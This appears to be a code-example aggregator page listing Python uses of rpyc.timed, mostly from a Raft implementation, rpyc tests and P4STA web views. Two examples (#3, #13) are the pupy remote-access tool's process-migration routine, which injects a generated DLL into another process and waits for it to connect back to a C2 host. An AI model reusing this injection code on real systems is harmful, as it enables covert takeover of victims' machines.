Exemple #1
0
 def request_vote_value(self, node_ip, node_port, request_vote_echo, voted_servers):
     lock = threading.Lock()
     try:
         conn = rpyc.connect(node_ip, node_port)
         async_call = rpyc.timed(conn.root.request_vote, 0.2)
         result = async_call(self.current_term, self.server_idx)
         request_vote_echo.append(result)
         term, vote_granted, server_ip, server_port = result.value
         voted_servers.append((server_ip, server_port))
         print(term, vote_granted)
         if vote_granted:
             self.votes += 1
             print(self.votes)
         else:
             if term > self.current_term:
                 lock.acquire()
                 self.current_term = term
                 self.state = 'follower'
                 self.vote_for = -1
                 self.write_to_disk(self.current_term, self.vote_for)
                 lock.release()
     except Exception as e:
         print(e)
     finally:
         self.processed += 1
     return
Exemple #2
0
 def test_timed(self):
     timed_sleep = rpyc.timed(self.a_sleep, 5)
     print( timed_sleep )
     res = timed_sleep(3)
     print( res.value )
     res = timed_sleep(7)
     print( res.value )
Exemple #3
0
def migrate(module, pid, keep=False, timeout=30):
    module.client.load_package("pupwinutils.processes")
    dllbuf=b""
    isProcess64bits=False
    module.success("looking for configured connect back address ...")
    res=module.client.conn.modules['pupy'].get_connect_back_host()
    host, port=res.rsplit(':',1)
    module.success("address configured is %s:%s ..."%(host,port))
    module.success("looking for process %s architecture ..."%pid)
    arch = None
    if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
        isProcess64bits=True
        arch='x64'
        module.success("process is 64 bits")
    else:
        arch='x86'
        module.success("process is 32 bits")
    conf=module.client.get_conf()

    #uncomment this to debug pupy injected DLL loading
    #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False)

    dllbuff, filename, _ = pupygen.generate_binary_from_template(
        conf, 'windows',
        arch=arch, shared=True
    )
    module.success("Template: {}".format(filename))

    module.success("injecting DLL in target process %s ..."%pid)
    module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
    module.success("DLL injected !")

    if keep:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    mexit = rpyc.timed(module.client.conn.exit, 5)
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            try:
                try:
                    mexit()
                except:
                    pass
                module.success("migration completed")
                module.client.conn._conn.close() # force the socket to close and clean sessions list
            except Exception:
                pass

            break
        elif time.time() > time_end:
            module.error("migration timed out !")
            break
        time.sleep(0.5)
Exemple #4
0
def run_loadgens_first(request):
    if request.method == "POST":
        if "duration" in request.POST:
            try:
                duration = int(request.POST["duration"])
            except ValueError:
                print("Loadgen duration is not a number. Taking 10 seconds.")
                duration = 10
        else:
            duration = 10
        l4_selected = request.POST["l4_selected"]
        packet_size_mtu = request.POST["packet_size_mtu"]
        if "loadgen_rate_limit" in request.POST:
            try:
                loadgen_rate_limit = int(request.POST["loadgen_rate_limit"])
            except ValueError:
                print("loadgen_rate_limit is not a number, no rate limit set.")
                loadgen_rate_limit = 0
        else:
            loadgen_rate_limit = 0
        if "loadgen_flows" in request.POST:
            try:
                loadgen_flows = int(request.POST["loadgen_flows"])
            except ValueError:
                loadgen_flows = 3
                print("loadgen_flows is not a number, set 3 flows")
        else:
            loadgen_flows = 3
        if "loadgen_server_groups[]" in request.POST:
            try:
                loadgen_server_groups = []
                for item in request.POST.getlist("loadgen_server_groups[]"):
                    loadgen_server_groups.append(int(item))
            except Exception:
                loadgen_server_groups = [1]
                print(traceback.format_exc())
        else:
            loadgen_server_groups = [1]
        try:
            t_timeout = round(duration * 2 * loadgen_flows + 60)
            start_loadgens = rpyc.timed(globals.core_conn.root.start_loadgens,
                                        t_timeout)
            file_id = start_loadgens(duration, l4_selected, packet_size_mtu,
                                     loadgen_rate_limit, loadgen_flows,
                                     loadgen_server_groups)
            file_id.wait()
            file_id_val = file_id.value
            globals.selected_run_id = file_id_val
            return render_loadgens(request, file_id_val, duration=duration)

        except Exception as e:
            print("Exception in run_loadgens: " + str(e))
            return render(request, "middlebox/timeout.html", {
                "inside_ajax": True,
                "error": ("run loadgen error: " + str(e))
            })
Exemple #5
0
def render_loadgens(request, file_id, duration=10):
    try:
        process_loadgens = rpyc.timed(globals.core_conn.root.process_loadgens,
                                      duration * 2)
        results = process_loadgens(file_id)
        results.wait()
        results = results.value
        if results is not None:
            output, total_bits, error, total_retransmits, total_byte, \
                custom_attr, to_plot = results

            output = P4STA_utils.flt(output)
            custom_attr = P4STA_utils.flt(custom_attr)
        else:
            error = True
            output = [
                "Sorry an error occured!",
                "The core returned NONE from loadgens which is a result"
                " of an internal error in the loadgen module."
            ]
            total_bits = total_retransmits = total_byte = 0
            custom_attr = {"l4_type": "", "name_list": [], "elems": {}}

        cfg = P4STA_utils.read_result_cfg(file_id)

        return render(
            request, "middlebox/output_loadgen.html", {
                "cfg":
                cfg,
                "output":
                output,
                "total_gbits":
                analytics.find_unit_bit_byte(total_bits, "bit"),
                "cachebuster":
                str(time.time()).replace(".", ""),
                "total_retransmits":
                total_retransmits,
                "total_gbyte":
                analytics.find_unit_bit_byte(total_byte, "byte"),
                "error":
                error,
                "custom_attr":
                custom_attr,
                "filename":
                file_id,
                "time":
                time.strftime("%H:%M:%S %d.%m.%Y", time.localtime(
                    int(file_id)))
            })
    except Exception as e:
        print(e)
        return render(request, "middlebox/timeout.html", {
            "inside_ajax": True,
            "error": ("render loadgen error: " + str(e))
        })
Exemple #6
0
def status_overview(request):
    try:
        status_overview = rpyc.timed(globals.core_conn.root.status_overview,
                                     60)()
        status_overview.wait()
        cfg = status_overview.value
        cfg = P4STA_utils.flt(cfg)

        return render(request, "middlebox/output_status_overview.html", cfg)
    except Exception as e:
        print(e)
        return render(request, "middlebox/timeout.html", {
            "inside_ajax": True,
            "error": ("stamper status error: " + str(e))
        })
Exemple #7
0
def stop_external(request):
    if request.is_ajax():
        try:
            # read time increases with amount of hosts
            stop_external = rpyc.timed(globals.core_conn.root.stop_external,
                                       60 * 50)
            stoppable = stop_external()
            stoppable.wait()
            return render(request, "middlebox/output_external_stopped.html",
                          {"stoppable": stoppable.value})
        except Exception as e:
            return render(
                request, "middlebox/timeout.html", {
                    "inside_ajax": True,
                    "error": ("stop external host error: " + str(e))
                })
Exemple #8
0
    def exposed_initialize_v1(self, namespace, modules, builtin,
                              register_cleanup, unregister_cleanup,
                              obtain_call, remote_exit, remote_eval,
                              remote_execute, pupyimporter, infos):
        self.namespace = namespace
        self.modules = modules
        self.builtin = self.builtins = builtin
        self.register_remote_cleanup = rpyc. async (register_cleanup)
        self.unregister_remote_cleanup = rpyc. async (unregister_cleanup)
        self.obtain_call = obtain_call
        self.exit = rpyc.timed(remote_exit, 1)
        self.eval = remote_eval
        self.execute = remote_execute
        self.pupyimporter = pupyimporter
        self.infos = msgpack.loads(infos)
        self.get_infos = lambda: self.infos

        self.pupy_srv.add_client(self)
Exemple #9
0
def start_stamper_software(request):
    if request.is_ajax():
        try:
            # some stamper targets may take long time to start
            start_stamper = rpyc.timed(
                globals.core_conn.root.start_stamper_software, 80)
            answer = start_stamper()
            answer.wait()
            if answer.value is not None:
                raise Exception(answer.value)

            time.sleep(1)
            return render(request, "middlebox/empty.html")
        except Exception as e:
            return render(request, "middlebox/timeout.html", {
                "inside_ajax": True,
                "error": ("start stamper " + str(e))
            })
Exemple #10
0
def deploy(request):
    if not request.is_ajax():
        return
    try:
        deploy = rpyc.timed(globals.core_conn.root.deploy, 40)
        answer = deploy()
        answer.wait()
        try:
            deploy_error = answer.value.replace("  ", "").replace("\n", "")
        except Exception:
            deploy_error = ""
        return render(request, "middlebox/output_deploy.html",
                      {"deploy_error": deploy_error})
    except Exception as e:
        print(e)
        return render(request, "middlebox/timeout.html", {
            "inside_ajax": True,
            "error": ("Exception Deploy: " + str(e))
        })
Exemple #11
0
 def heat_beat_value(self, node_ip, node_port, heart_beat_echo):
     lock = threading.Lock()
     try:
         conn = rpyc.connect(node_ip, node_port)
         async_call = rpyc.timed(conn.root.append_entries, 0.5)
         result = async_call(self.current_term, self.server_idx)
         heart_beat_echo.append(result)
         term, success = result.value
         if term > self.current_term:
             lock.acquire()
             self.state = 'follower'
             self.vote_for = -1
             self.current_term = term
             self.write_to_disk(self.current_term, self.vote_for)
             lock.release()
     except Exception:
         pass
     finally:
         self.processed += 1
     return
Exemple #12
0
def stamper_status_wrapper(request, html_file):
    stamper_status = rpyc.timed(globals.core_conn.root.stamper_status, 40)
    stamper_status_job = stamper_status()
    try:
        stamper_status_job.wait()
        result = stamper_status_job.value
        cfg, lines_pm, running, dev_status = result
        cfg = P4STA_utils.flt(cfg)  # cfg contains host status information
        lines_pm = P4STA_utils.flt(lines_pm)

        return render(
            request, html_file, {
                "dev_status": dev_status,
                "dev_is_running": running,
                "pm": lines_pm,
                "cfg": cfg
            })
    except Exception as e:
        print(e)
        return render(request, "middlebox/timeout.html", {
            "inside_ajax": True,
            "error": ("stamper status error " + str(e))
        })
Exemple #13
0
def migrate(module, pid, keep=False, timeout=30):
    module.client.load_package("pupwinutils.processes")
    dllbuf=b""
    isProcess64bits=False
    module.success("looking for configured connect back address ...")
    try:
        res=module.client.conn.modules['pupy'].get_connect_back_host()
        host, port=res.rsplit(':',1)
        module.success("address configured is %s:%s ..."%(host,port))
    except:
        if not keep:
            module.error("launcher doesn't support connect back host information, disable keep")
            keep = True

    module.success("looking for process %s architecture ..."%pid)
    arch = None
    if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
        isProcess64bits=True
        arch='x64'
        module.success("process is 64 bits")
    else:
        arch='x86'
        module.success("process is 32 bits")
    conf=module.client.get_conf()

    #uncomment this to debug pupy injected DLL loading
    #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False)

    dllbuff, filename, _ = pupygen.generate_binary_from_template(
        conf, 'windows',
        arch=arch, shared=True
    )
    module.success("Template: {}".format(filename))

    module.success("injecting DLL in target process %s ..."%pid)
    module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
    module.success("DLL injected !")

    if keep:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    mexit = rpyc.timed(module.client.conn.exit, 5)
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            try:
                try:
                    mexit()
                except:
                    pass
                module.success("migration completed")
                module.client.conn._conn.close() # force the socket to close and clean sessions list
            except Exception:
                pass

            break
        elif time.time() > time_end:
            module.error("migration timed out !")
            break
        time.sleep(0.5)
 def get_k(self, target, ip):
     timed_k = rpyc.timed(self.conn.get_k, 10)
     return timed_k(target, ip).value
 def get_latency(self, target1, ip1, target2, ip2):
     timed_latency = rpyc.timed(self.conn.root.get_latency, 10)
     return timed_latency(target1, ip1, target2, ip2).value
Exemple #16
0
 def test_timed(self):
     timed_sleep = rpyc.timed(self.conn.modules.time.sleep, 5)
     res = timed_sleep(3)
     res.value
     res = timed_sleep(7)
     self.assertRaises(rpyc.AsyncResultTimeout, lambda: res.value)
Exemple #17
0
 def test_timed(self):
     timed_sleep = rpyc.timed(self.conn.modules.time.sleep, 5)
     res = timed_sleep(3)
     res.value
     res = timed_sleep(7)
     self.assertRaises(rpyc.AsyncResultTimeout, lambda: res.value)